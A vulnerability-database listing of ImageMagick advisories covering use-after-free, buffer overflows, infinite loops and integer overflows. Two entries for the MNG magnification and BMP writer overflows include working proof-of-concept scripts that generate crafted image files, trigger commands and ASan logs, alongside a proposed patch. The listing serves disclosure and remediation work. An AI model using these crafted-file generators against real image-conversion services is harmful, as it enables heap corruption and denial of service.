Aliases: CVE-2026-24484 GHSA-wg3g-gvx5-2pmv |
ImageMagick: Converting multi-layer nested MVG to SVG can cause DoS Magick fails to check for multi-layer nested mvg conversions to svg, leading to DoS. |
Affected by 22 other vulnerabilities. |
|
VCID-cbqr-aybx-d3e6
Aliases: CVE-2026-25983 GHSA-fwqw-2x5x-w566 |
ImageMagick has Use After Free in MSLStartElement in "coders/msl.c" A crafted MSL script triggers a heap-use-after-free. The operation element handler replaces and frees the image while the parser continues reading from it, leading to a UAF in ReadBlobString during further parsing. |
Affected by 22 other vulnerabilities. |
|
VCID-cuhw-ew1g-s3h2
Aliases: CVE-2026-28687 GHSA-fpvf-frm6-625q |
ImageMagick has Heap Use-After-Free in ImageMagick MSL decoder A heap use-after-free vulnerability in ImageMagick's MSL decoder allows an attacker to trigger access to freed memory by crafting an MSL file. ``` ================================================================= ==1500633==ERROR: AddressSanitizer: heap-use-after-free on address 0x527000011550 at pc 0x5612583fa212 bp 0x7ffedb86d160 sp 0x7ffedb86d150 READ of size 8 at 0x527000011550 thread T0 ``` |
Affected by 0 other vulnerabilities. |
|
VCID-d8yf-8rff-3yhf
Aliases: CVE-2026-26283 GHSA-gwr3-x37h-h84v |
ImageMagick has a possible infinite loop in its JPEG encoder when using `jpeg:extent` A `continue` statement in the JPEG extent binary search loop in the jpeg encoder causes an infinite loop when writing persistently fails. An attacker can trigger a 100% CPU consumption and process hang (Denial of Service) with a crafted image. |
Affected by 22 other vulnerabilities. |
|
VCID-dtza-65ku-aber
Aliases: CVE-2026-25795 GHSA-p33r-fqw2-rqmm |
ImageMagick has NULL pointer dereference in ReadSFWImage after DestroyImageInfo (sfw.c) In `ReadSFWImage()` (`coders/sfw.c`), when temporary file creation fails, `read_info` is destroyed before its `filename` member is accessed, causing a NULL pointer dereference and crash. ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==1414421==ERROR: AddressSanitizer: UNKNOWN SIGNAL on unknown address 0x000000000000 (pc 0x56260222912f bp 0x7ffec0a193b0 sp 0x7ffec0a19360 T0) #0 0x56260222912f (/data/ylwang/LargeScan/targets/ImageMagick/utilities/magick+0x235f12f) ``` |
Affected by 22 other vulnerabilities. |
|
VCID-e3ne-1hd5-dyfg
Aliases: CVE-2025-43965 |
ImageMagick: Incorrect Handling of Image Depth in MIFF Processing in ImageMagick |
Affected by 22 other vulnerabilities. |
|
VCID-eb4u-x1mt-2uan
Aliases: CVE-2021-20311 |
ImageMagick: Division by zero in sRGBTransformImage() in MagickCore/colorspace.c |
Affected by 22 other vulnerabilities. |
|
VCID-ef36-52cx-dfg5
Aliases: CVE-2025-55154 GHSA-qp29-wxp5-wh82 |
imagemagick: integer overflows in MNG magnification ## **Vulnerability Details** The magnified size calculations in `ReadOneMNGIMage` (in `coders/png.c`) are unsafe and can overflow, leading to memory corruption. The source snippet below is heavily abbreviated due to the size of the function, but hopefully the important points are captured. ```c static Image *ReadOneMNGImage(MngReadInfo* mng_info, const ImageInfo *image_info,ExceptionInfo *exception) { // Lots of stuff, this is effectively a state machine for the MNG rendering commands, // skip to the point where we start processing the "MAGN" command. if (memcmp(type,mng_MAGN,4) == 0) { png_uint_16 magn_first, magn_last, magn_mb, magn_ml, magn_mr, magn_mt, magn_mx, magn_my, magn_methx, magn_methy; // Details unimportant, but each of the `magn_xxx` variables is read from the file. if (magn_first == 0 || magn_last == 0) { /* Save the magnification factors for object 0 */ mng_info->magn_mb=magn_mb; mng_info->magn_ml=magn_ml; mng_info->magn_mr=magn_mr; mng_info->magn_mt=magn_mt; mng_info->magn_mx=magn_mx; mng_info->magn_my=magn_my; mng_info->magn_methx=magn_methx; mng_info->magn_methy=magn_methy; } } // Details unimportant, we load the image to be scaled and store it in `image` if (mng_type) { MngBox crop_box; if (((mng_info->magn_methx > 0) && (mng_info->magn_methx <= 5)) && ((mng_info->magn_methy > 0) && (mng_info->magn_methy <= 5))) { png_uint_32 magnified_height, magnified_width; if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Processing MNG MAGN chunk"); if (image->columns == 1) mng_info->magn_methx = 1; if (image->rows == 1) mng_info->magn_methy = 1; if (mng_info->magn_methx == 1) { magnified_width=mng_info->magn_ml; // [0] if (image->columns > 1) magnified_width += mng_info->magn_mr; // [1] if (image->columns > 2) magnified_width += (png_uint_32) ((image->columns-2)*(mng_info->magn_mx)); // [2] } // Different cases handle available scaling kinds, all of which have similar issues... // We now check whether the output image is larger than the input image in either // dimension, and if so, we will allocate a new image buffer of size // `magnified_width * magnified_height`. if (magnified_height > image->rows || magnified_width > image->columns) { Image *large_image; // Snip... large_image->columns=magnified_width; large_image->rows=magnified_height; magn_methx=mng_info->magn_methx; magn_methy=mng_info->magn_methy; // In between here, we allocate the pixel buffer for `large_image`. /* magnify the rows into the right side of the large image */ if (logging != MagickFalse) (void) LogMagickEvent(CoderEvent,GetMagickModule(), " Magnify the rows to %.20g", (double) large_image->rows); m=(ssize_t) mng_info->magn_mt; yy=0; length=(size_t) GetPixelChannels(image)*image->columns; next=(Quantum *) AcquireQuantumMemory(length,sizeof(*next)); prev=(Quantum *) AcquireQuantumMemory(length,sizeof(*prev)); if ((prev == (Quantum *) NULL) || (next == (Quantum *) NULL)) { if (prev != (Quantum *) NULL) prev=(Quantum *) RelinquishMagickMemory(prev); if (next != (Quantum *) NULL) next=(Quantum *) RelinquishMagickMemory(next); image=DestroyImageList(image); ThrowReaderException(ResourceLimitError, "MemoryAllocationFailed"); } n=GetAuthenticPixels(image,0,0,image->columns,1,exception); (void) memcpy(next,n,length); for (y=0; y < (ssize_t) image->rows; y++) { if (y == 0) m=(ssize_t) mng_info->magn_mt; else if (magn_methy > 1 && y == (ssize_t) image->rows-2) m=(ssize_t) mng_info->magn_mb; else if (magn_methy <= 1 && y == (ssize_t) image->rows-1) m=(ssize_t) mng_info->magn_mb; else if (magn_methy > 1 && y == (ssize_t) image->rows-1) m=1; else m=(ssize_t) mng_info->magn_my; n=prev; prev=next; next=n; if (y < (ssize_t) image->rows-1) { n=GetAuthenticPixels(image,0,y+1,image->columns,1, exception); (void) memcpy(next,n,length); } for (i=0; i < m; i++, yy++) { Quantum *pixels; assert(yy < (ssize_t) large_image->rows); pixels=prev; n=next; q=GetAuthenticPixels(large_image,0,yy,large_image->columns, 1,exception); if (q == (Quantum *) NULL) break; q+=(ptrdiff_t) (large_image->columns-image->columns)* GetPixelChannels(large_image); // [3] ``` If we look at the calculation for `magnified_width`, we can see that we are storing the results in a `png_uint32`. The operations at \[0\] and \[1\] are safe, since `mng_info->magn_ml` and `mng_info->magn_mx` are both 16-bit unsigned integers, but both the multiplication at \[2\] and the addition of the result of that multiplication to `magnified_width` can overflow, leading to a value of `magnified_width` that is smaller than required. When we then operate on the pixel buffers, we use the original parameters for the magnification, and we assume (reasonably?) that the output buffer is larger than the input buffer when calculating where to write the upsampled/magnified pixel values. Unfortunately, after the overflow has happened, this assumption is no longer true, and the calculation at \[3\] will end up with a `q` pointer outside the buffer bounds. This issue leads to an out-of-bounds write of controlled data beyond the bounds of a heap allocation. Triggering this issue requires an `image` with large `columns` or `rows` (\~65535) which should be prevented by all of the example security policies (which set `width`/`height` limits of `8KP`). ## **Affected Version(s)** Verified on current HEAD (305e383c8ac7b30bc2ee96ab8c43ec96217ec2a9) and latest stable release (7.1.2-0). ### **Build Instructions** ```shell git clone https://github.com/imagemagick/imagemagick cd imagemagick export CC=clang export CXX=clang++ export CFLAGS="-fsanitize=address" export CXXFLAGS="-fsanitize=address" export LDFLAGS="-fsanitize=address" ./configure --disable-shared --disable-docs --with-jxl make -j ``` ## **Reproduction** ### **Test Case** This testcase is a python script that will generate an MNG file with a MAGN chunk that triggers this overflow leading to an out-of-bounds heap write. ``` import struct import zlib def create_chunk(chunk_type, data): crc = zlib.crc32(chunk_type + data) & 0xFFFFFFFF return struct.pack('>I', len(data)) + chunk_type + data + struct.pack('>I', crc) # MNG signature mng_signature = b'\x8aMNG\r\n\x1a\n' # --- Dimensions --- mhdr_width = 1 mhdr_height = 1 ihdr_width = 65538 # W: Original width to cause W' overflow ihdr_height = 1 # H: Original height # MHDR chunk (Valid small dimensions) mhdr_data = struct.pack('>IIIIIII', mhdr_width, mhdr_height, 1, 0, 0, 0, 0) mhdr_chunk = create_chunk(b'MHDR', mhdr_data) # MAGN chunk: Trigger width overflow, force entry via height magn magn_first = 0 magn_last = 0 magn_methx = 1 magn_mx = 65535 # -> magnified_width = 65534 (overflow) magn_my = 2 # -> magnified_height = 2 (magn_mt=2) magn_ml = 65535 magn_mr = 65535 magn_mt = 2 # Force magnified_height > H (necessary to trigger large_image path) magn_mb = 1 magn_methy = 1 magn_data = struct.pack('>HHBHHHHHHB', magn_first, magn_last, magn_methx, magn_mx, magn_my, magn_ml, magn_mr, magn_mt, magn_mb, magn_methy) magn_chunk = create_chunk(b'MAGN', magn_data) # IHDR chunk ihdr_data = struct.pack('>IIBBBBB', ihdr_width, ihdr_height, 8, 0, 0, 0, 0) ihdr_chunk = create_chunk(b'IHDR', ihdr_data) # IDAT chunk (Minimal data for W x H grayscale pixels) scanline = b'\x00' + (b'\x00' * ihdr_width) compressed_scanline = zlib.compress(scanline) idat_chunk = create_chunk(b'IDAT', compressed_scanline) # IEND chunk iend_chunk = create_chunk(b'IEND', b'') # MEND chunk mend_chunk = create_chunk(b'MEND', b'') program_input = ( mng_signature + mhdr_chunk + magn_chunk + ihdr_chunk + idat_chunk + iend_chunk + mend_chunk ) print(f"Generated MNG size: {len(program_input)} bytes") with open("magn_write.mng", "wb") as tmp: tmp.write(program_input) ``` ### **Command** ```shell python3 ./generate_testcase.py utilities/magick ./magn_write.mng -resize 200x200 PNG:output.png ``` ### **ASan Backtrace** ``` ================================================================= ==585863==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7f80849757d0 at pc 0x55744124fba3 bp 0x7fff1300ddf0 sp 0x7fff1300dde8 WRITE of size 4 at 0x7f80849757d0 thread T0 #0 0x55744124fba2 in SetPixelRed /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:913:52 #1 0x55744123be16 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6657:27 #2 0x557441222c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9 #3 0x557441347da1 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15 #4 0x55744134ad96 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9 #5 0x5574419135fc in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4959:22 #6 0x55744190748c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5473:7 #7 0x5574417dd25b in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13 #8 0x5574417de629 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5 #9 0x5574417daf9c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14 #10 0x557440e237b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10 #11 0x557440e231e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10 #12 0x7f8087433ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 #13 0x7f8087433d64 in __libc_start_main csu/../csu/libc-start.c:360:3 #14 0x557440d3f790 in _start (/tmp/repro/imagemagick/utilities/magick+0x1f2790) (BuildId: 926b2c12732f27a214dada191ea6277c7b553ea5) 0x7f80849757d0 is located 48 bytes before 1572816-byte region [0x7f8084975800,0x7f8084af57d0) allocated by thread T0 here: #0 0x557440de00cb in posix_memalign (/tmp/repro/imagemagick/utilities/magick+0x2930cb) (BuildId: 926b2c12732f27a214dada191ea6277c7b553ea5) #1 0x557440e58aa6 in AcquireAlignedMemory_POSIX /tmp/repro/imagemagick/MagickCore/memory.c:300:7 #2 0x557440e5885d in AcquireAlignedMemory /tmp/repro/imagemagick/MagickCore/memory.c:378:10 #3 0x5574412e9725 in OpenPixelCache /tmp/repro/imagemagick/MagickCore/cache.c:3775:46 #4 0x5574412eead7 in GetImagePixelCache /tmp/repro/imagemagick/MagickCore/cache.c:1782:18 #5 0x5574412ef71b in SyncImagePixelCache /tmp/repro/imagemagick/MagickCore/cache.c:5600:28 #6 0x557440e2e786 in SetImageStorageClass /tmp/repro/imagemagick/MagickCore/image.c:2617:10 #7 0x557440e2f075 in SetImageBackgroundColor /tmp/repro/imagemagick/MagickCore/image.c:2422:7 #8 0x55744123b3d6 in ReadOneMNGImage /tmp/repro/imagemagick/coders/png.c:6560:28 #9 0x557441222c33 in ReadMNGImage /tmp/repro/imagemagick/coders/png.c:7341:9 #10 0x557441347da1 in ReadImage /tmp/repro/imagemagick/MagickCore/constitute.c:736:15 #11 0x55744134ad96 in ReadImages /tmp/repro/imagemagick/MagickCore/constitute.c:1078:9 #12 0x5574419135fc in CLINoImageOperator /tmp/repro/imagemagick/MagickWand/operation.c:4959:22 #13 0x55744190748c in CLIOption /tmp/repro/imagemagick/MagickWand/operation.c:5473:7 #14 0x5574417dd25b in ProcessCommandOptions /tmp/repro/imagemagick/MagickWand/magick-cli.c:653:13 #15 0x5574417de629 in MagickImageCommand /tmp/repro/imagemagick/MagickWand/magick-cli.c:1392:5 #16 0x5574417daf9c in MagickCommandGenesis /tmp/repro/imagemagick/MagickWand/magick-cli.c:177:14 #17 0x557440e237b9 in MagickMain /tmp/repro/imagemagick/utilities/magick.c:162:10 #18 0x557440e231e1 in main /tmp/repro/imagemagick/utilities/magick.c:193:10 #19 0x7f8087433ca7 in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16 SUMMARY: AddressSanitizer: heap-buffer-overflow /tmp/repro/imagemagick/./MagickCore/pixel-accessor.h:913:52 in SetPixelRed Shadow bytes around the buggy address: 0x7f8084975500: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975580: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x7f8084975700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x7f8084975780: fa fa fa fa fa fa fa fa fa fa[fa]fa fa fa fa fa 0x7f8084975800: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975880: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975900: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975980: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x7f8084975a00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==585863==ABORTING ``` ## **Reporter Credit** Google Big Sleep |
Affected by 22 other vulnerabilities. |
|
VCID-emmr-15qp-vfah
Aliases: CVE-2026-25898 GHSA-vpxv-r9pg-7gpr |
ImageMagick has Global Buffer Overflow (OOB Read) via Negative Pixel Index in UIL and XPM Writer The UIL and XPM image encoder do not validate the pixel index value returned by `GetPixelIndex()` before using it as an array subscript. In HDRI builds, `Quantum` is a floating-point type, so pixel index values can be negative. An attacker can craft an image with negative pixel index values to trigger a global buffer overflow read during conversion, leading to information disclosure or a process crash. ``` READ of size 1 at 0x55a8823a776e thread T0 #0 0x55a880d01e85 in WriteUILImage coders/uil.c:355 ``` ``` READ of size 1 at 0x55fa1c04c66e thread T0 #0 0x55fa1a9ee415 in WriteXPMImage coders/xpm.c:1135 ``` |
Affected by 22 other vulnerabilities. |
|
VCID-f1zu-xb4j-8qhp
Aliases: CVE-2026-25987 GHSA-42p5-62qq-mmh7 |
ImageMagick has a heap buffer over-read in its MAP image decoder A heap buffer over-read vulnerability exists in the MAP image decoder when processing crafted MAP files, potentially leading to crashes or unintended memory disclosure during image decoding. ``` ================================================================= ==4070926==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x502000002b31 at pc 0x56517afbd910 bp 0x7ffc59e90000 sp 0x7ffc59e8fff0 READ of size 1 at 0x502000002b31 thread T0 ``` |
Affected by 22 other vulnerabilities. |
|
VCID-f6pf-5jnz-fkd1
Aliases: CVE-2025-57803 GHSA-mxvv-97wh-cfmm |
ImageMagick (WriteBMPImage): 32-bit integer overflow when writing BMP scanline stride → heap buffer overflow ## Summary A 32-bit integer overflow in the BMP encoder’s scanline-stride computation collapses `bytes_per_line` (stride) to a tiny value while the per-row writer still emits `3 × width` bytes for 24-bpp images. The row base pointer advances using the (overflowed) stride, so the first row immediately writes past its slot and into adjacent heap memory with attacker-controlled bytes. This is a classic, powerful primitive for heap corruption in common auto-convert pipelines. - **Impact:** Attacker-controlled heap out-of-bounds (OOB) write during conversion **to BMP**. - **Surface:** Typical upload → normalize/thumbnail → `magick ... out.bmp` workers. - **32-bit:** **Vulnerable** (reproduced with ASan). - **64-bit:** Safe from this specific integer overflow (IOF) by arithmetic, but still add product/size guards. - **Proposed severity:** **Critical 9.8** (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H). --- ## Scope & Affected Builds - **Project:** ImageMagick (BMP writer path, `WriteBMPImage` in `coders/bmp.c`). - **Commit under test:** `3fcd081c0278427fc0e8ac40ef75c0a1537792f7` - **Version string from the run:** `ImageMagick 7.1.2-0 Q8 i686 9bde76f1d:20250712` - **Architecture:** 32-bit i686 (**`sizeof(size_t) == 4`**) with ASan/UBSan. - **Note on other versions:** Any release/branch with the same stride arithmetic and row loop is likely affected on 32-bit. --- ## Root Cause (with code anchors) ### Stride computation (writer) ```c bytes_per_line = 4 * ((image->columns * bmp_info.bits_per_pixel + 31) / 32); ``` ### Per-row base and 24-bpp loop (writer) ```c q = pixels + ((ssize_t)image->rows - y - 1) * (ssize_t)bytes_per_line; for (x = 0; x < (ssize_t)image->columns; x++) { *q++ = B(...); *q++ = G(...); *q++ = R(...); // writes 3 * width bytes } ``` ### Allocation (writer) ```c pixel_info = AcquireVirtualMemory(image->rows, MagickMax(bytes_per_line, image->columns + 256UL) * sizeof(*pixels)); pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info); ``` ### Dimension “caps” (insufficient) The writer rejects dimensions that don’t round-trip through `signed int`, but both overflow thresholds below are **≤ INT_MAX** on 32-bit, so the caps **do not prevent** the bug. --- ## Integer-Overflow Analysis (32-bit `size_t`) Stride formula for 24-bpp: ``` bytes_per_line = 4 * ((width * 24 + 31) / 32) ``` There are **two independent overflow hazards** on 32-bit: 1. **Stage-1 multiply+add** in `(width * 24 + 31)` Overflow iff `width > ⌊(0xFFFFFFFF − 31) / 24⌋ = 178,956,969` → at **width ≥ 178,956,970** the numerator wraps small before `/32`, producing a **tiny** `bytes_per_line`. 2. **Stage-2 final ×4** after the division Let `q = (width * 24 + 31) / 32`. Final `×4` overflows iff `q > 0x3FFFFFFF`. Solving gives **width ≥ 1,431,655,765 (0x55555555)**. Both thresholds are **below** `INT_MAX` (≈2.147e9), so “int caps” don’t help. **Mismatch predicate (guaranteed OOB when overflowed):** Per-row write for 24-bpp is `row_bytes = 3*width`. Safety requires `row_bytes ≤ bytes_per_line`. Under either overflow, `bytes_per_line` collapses → `3*width > bytes_per_line` holds → **OOB-write**. --- ## Concrete Demonstration Chosen width: **`W = 178,957,200`** (just over Stage-1 bound) - Stage-1: `24*W + 31 = 4,294,972,831 ≡ 0x0000159F (mod 2^32)` → **5535** - Divide by 32: `5535 / 32 = 172` - Multiply by 4: `bytes_per_line = 172 * 4 = **688** bytes` ← tiny stride - Per-row data (24-bpp): `row_bytes = 3*W = **536,871,600** bytes` - Allocation used: `MagickMax(688, W+256) = **178,957,456** bytes` - **Immediate OOB**: first row writes ~536MB into a 178MB region, starting at a base advanced by only 688 bytes. --- ## Observed Result (ASan excerpt) ``` ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6eaac490 WRITE of size 1 in WriteBMPImage coders/bmp.c:2309 ... allocated by: AcquireVirtualMemory MagickCore/memory.c:747 WriteBMPImage coders/bmp.c:2092 ``` - Binary: **ELF 32-bit i386**, Q8, non-HDRI - Resources set to permit execution of the writer path (defense-in-depth limits relaxed for repro) --- ## Exploitability & Risk - **Primitive:** Large, contiguous, attacker-controlled heap overwrite beginning at the scanline slot. - **Control:** Overwrite bytes are sourced from attacker-supplied pixels (e.g., crafted input image to be converted to BMP). - **Likely deployment:** Server-side, non-interactive conversion pipelines (UI:N). - **Outcome:** At minimum, deterministic crash (DoS). On many 32-bit allocators, well-understood heap shaping can escalate to **RCE**. **Note on 64-bit:** Without integer overflow, `bytes_per_line = 4 * ceil((3*width)/4) ≥ 3*width`, so the mismatch doesn’t arise. Still add product/size checks to prevent DoS and future refactors. --- ## Reproduction (copy-paste triager script) **Test Environment:** - `docker run -it --rm --platform linux/386 debian:11 bash` - Install deps: `apt-get update && apt-get install -y build-essential git autoconf automake libtool pkg-config python3` - Clone & checkout: ImageMagick `7.1.2-0` → commit `3fcd081c0278427f...` - Configure 32-bit Q8 non-HDRI with ASan/UBSan (summary): ```bash ./configure \ --host=i686-pc-linux-gnu \ --build=x86_64-pc-linux-gnu \ --disable-dependency-tracking \ --disable-silent-rules \ --disable-shared \ --disable-openmp \ --disable-docs \ --without-x \ --without-perl \ --without-magick-plus-plus \ --without-lqr \ --without-zstd \ --without-tiff \ --with-quantum-depth=8 \ --disable-hdri \ CFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ CXXFLAGS="-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined" \ LDFLAGS="-fsanitize=address,undefined" make -j"$(nproc)" ``` - Runtime limits to exercise writer: ```bash export MAGICK_WIDTH_LIMIT=200000000 export MAGICK_HEIGHT_LIMIT=200000000 export MAGICK_TEMPORARY_PATH=/tmp export TMPDIR=/tmp export ASAN_OPTIONS="detect_leaks=0:malloc_context_size=20:alloc_dealloc_mismatch=0" ``` **One-liner trigger (no input file):** ```bash W=178957200 ./utilities/magick \ -limit width 200000000 -limit height 200000000 \ -limit memory 268435456 -limit map 0 -limit disk 200000000000 \ -limit thread 1 \ -size ${W}x1 xc:black -type TrueColor -define bmp:format=bmp3 BMP3:/dev/null ``` **Expected:** ASan heap-buffer-overflow in `WriteBMPImage` (will be provided in a private gist link). **Alternate PoC (raw PPM generator):** ```python #!/usr/bin/env python3 W, H, MAXV = 180_000_000, 1, 255 # W > 178,956,969 with open("huge.ppm", "wb") as f: f.write(f"P6\n{W} {H}\n{MAXV}\n".encode("ascii")) chunk = (b"\x41\x42\x43") * (1024*1024) remaining = 3 * W while remaining: n = min(remaining, len(chunk)) f.write(chunk[:n]); remaining -= n # Then: magick huge.ppm out.bmp ``` --- ## Proposed Severity - **Primary vector (server auto-convert):** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` → **9.8 Critical** - **If strictly CLI/manual conversion:** `UI:R` → **8.8 High** --- ## Maintainer Pushbacks — Pre-empted - **“MagickMax makes allocation large.”** The row **base** advances by **overflowed `bytes_per_line`**, causing row overlap and eventual region exit regardless of total allocation size. - **“We’re 64-bit only.”** Code is still incorrect for 32-bit consumers/cross-compiles; also add product guards on 64-bit for correctness/DoS. - **“Resource policy blocks large images.”** That’s environment-dependent defense-in-depth; arithmetic must be correct. --- ## Remediation (Summary) Add checked arithmetic around stride computation and enforce a per-row invariant so that the number of bytes emitted per row (row_bytes) always fits within the computed stride (bytes_per_line). Guard multiplication/addition and product computations used for header fields and allocation sizes, and fail early with a clear WidthOrHeightExceedsLimit/ResourceLimitError when values exceed safe bounds. Concretely: - Validate width and bits_per_pixel before the stride formula to ensure (width*bpp + 31) cannot overflow a size_t. - Compute row_bytes for the chosen bpp and assert row_bytes <= bytes_per_line. - Bound rows * stride before allocating and ensure biSizeImage (DIB 32-bit) cannot overflow. A full suggested guarded implementation is provided in Appendix A — Full patch (for maintainers). --- ## Regression Tests to Include (PR-friendly) 1. **32-bit overflow repros** (with ASan): - `rows=1`, `width ≥ 178,956,970`, `bpp=24` → now cleanly errors. - `rows=2`, same bound → no row overlap; clean error. 2. **64-bit sanity:** Medium images (e.g., `8192×4096`, 24-bpp) round-trip; header’s `biSizeImage = rows * bytes_per_line`. 3. **Packed bpp (1/4/8):** Validate `row_bytes = (width*bpp+7)/8` (guarded), 4-pad, and **payload ≤ stride** holds. --- ## Attachments (private BMP_Package) Provided with report: README.md, poc_ppm_generator.py, repro_commands.sh, full_asan_bmp_crash.txt, appendix_a_patch_block.c. (Private gist link with package provided separately.) --- ## Disclosure & Coordination - **Reporter:** Lumina Mescuwa - **Tested on:** i686 Linux container (details in Repro) - **Timeline:** August 19th, 2025 --- ## Appendices ### Appendix A — Patch block tailored to `bmp.c` **Where this hooks in (current code):** - Stride is computed here: `bytes_per_line=4*((image->columns*bmp_info.bits_per_pixel+31)/32);` - Header uses `bmp_info.image_size=(unsigned int) (bytes_per_line*image->rows);` - Allocation uses `AcquireVirtualMemory(image->rows, MagickMax(bytes_per_line, image->columns+256UL)*sizeof(*pixels));` - 24-bpp row loop writes pixels then zero-pads up to `bytes_per_line` (so the per-row slot size matters): `for (x=3L*(ssize_t)image->columns; x < (ssize_t)bytes_per_line; x++) *q++=0x00;` --- ## Suggested Patch (minimal surface, guards + invariant) I recommend this **in place of** the existing `bytes_per_line` assignment and the subsequent `bmp_info.image_size` / allocation block. Keep your macros and local variables as-is. ```c /* --- PATCH BEGIN: guarded stride, per-row invariant, and product checks --- */ /* 1) Guard the original stride arithmetic (preserve behavior, add checks). */ if (bmp_info.bits_per_pixel == 0 || (size_t)image->columns > (SIZE_MAX - 31) / (size_t)bmp_info.bits_per_pixel) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); size_t _tmp = (size_t)image->columns * (size_t)bmp_info.bits_per_pixel + 31; /* Divide first; then check the final ×4 won't overflow. */ _tmp /= 32; if (_tmp > (SIZE_MAX / 4)) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); bytes_per_line = 4 * _tmp; /* same formula as before, now checked */ /* 2) Compute the actual data bytes written per row for the chosen bpp. */ size_t row_bytes; if (bmp_info.bits_per_pixel == 1 || bmp_info.bits_per_pixel == 4 || bmp_info.bits_per_pixel == 8) { /* packed: ceil(width*bpp/8) */ if ((size_t)image->columns > (SIZE_MAX - 7) / (size_t)bmp_info.bits_per_pixel) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); row_bytes = (((size_t)image->columns * (size_t)bmp_info.bits_per_pixel) + 7) >> 3; } else { /* 16/24/32 bpp: (bpp/8) * width */ size_t bpp_bytes = (size_t)bmp_info.bits_per_pixel / 8; if (bpp_bytes == 0 || (size_t)image->columns > SIZE_MAX / bpp_bytes) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); row_bytes = bpp_bytes * (size_t)image->columns; } /* 3) Per-row safety invariant: the payload must fit the stride. */ if (row_bytes > bytes_per_line) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed"); /* 4) Guard header size and allocation products. */ if ((size_t)image->rows == 0) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); /* biSizeImage = rows * bytes_per_line (DIB field is 32-bit) */ if (bytes_per_line > 0xFFFFFFFFu / (size_t)image->rows) ThrowWriterException(ImageError, "WidthOrHeightExceedsLimit"); bmp_info.image_size = (unsigned int)(bytes_per_line * (size_t)image->rows); /* Allocation count = rows * stride_used, with existing MagickMax policy. */ size_t _stride = MagickMax(bytes_per_line, (size_t)image->columns + 256UL); if (_stride > SIZE_MAX / (size_t)image->rows) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed"); pixel_info = AcquireVirtualMemory((size_t)image->rows, _stride * sizeof(*pixels)); if (pixel_info == (MemoryInfo *) NULL) ThrowWriterException(ResourceLimitError, "MemoryAllocationFailed"); pixels = (unsigned char *) GetVirtualMemoryBlob(pixel_info); /* Optional: keep zeroing aligned to computed header size. */ (void) memset(pixels, 0, (size_t) bmp_info.image_size); /* --- PATCH END --- */ ``` ### Why this is the right spot? - It **replaces** the unguarded stride line you currently have, without changing the algorithm (still `4*((W*bpp+31)/32)`). - It **fixes the header** (`biSizeImage`) to be a checked product, instead of a potentially wrapped multiplication. - It **guards allocation** where you presently allocate `rows × MagickMax(bytes_per_line, columns+256)`. - The invariant `row_bytes ≤ bytes_per_line` ensures your 24-bpp emission loop (writes 3 bytes/pixel, then pads to `bytes_per_line`) can never exceed the per-row slot the code relies on. --- ## Notes - **Behavior preserved**: The stride value for normal images is unchanged; only pathological integer states are rejected. - **Header consistency**: `biSizeImage = rows * bytes_per_line` remains true by construction, but now cannot overflow a 32-bit DIB field. - **Defensive alignment**: If you prefer, you can compute `bytes_per_line` as `((row_bytes + 3) & ~3U)`; it’s equivalent and may read clearer, but I kept the original formula with guards to minimize diff. A slightly larger “helpers” variant (with `safe_mul_size` / `safe_add_size` utilities) also comes to mind, but the block above is the tightest patch that closes the 32-bit IOF→OOB class without touching unrelated code paths. ### Appendix B — Arithmetic Worked Example (W=178,957,200) - `(24W + 31) mod 2^32 = 5535` - `bytes_per_line = 4 * (5535/32) = 688` - `row_bytes (24-bpp) = 536,871,600` - Allocation via `MagickMax = 178,957,456` → immediate row 0 out-of-bounds. ### Appendix C — Raw ASan Log (trimmed) ``` ================================================================= ==49178==ERROR: 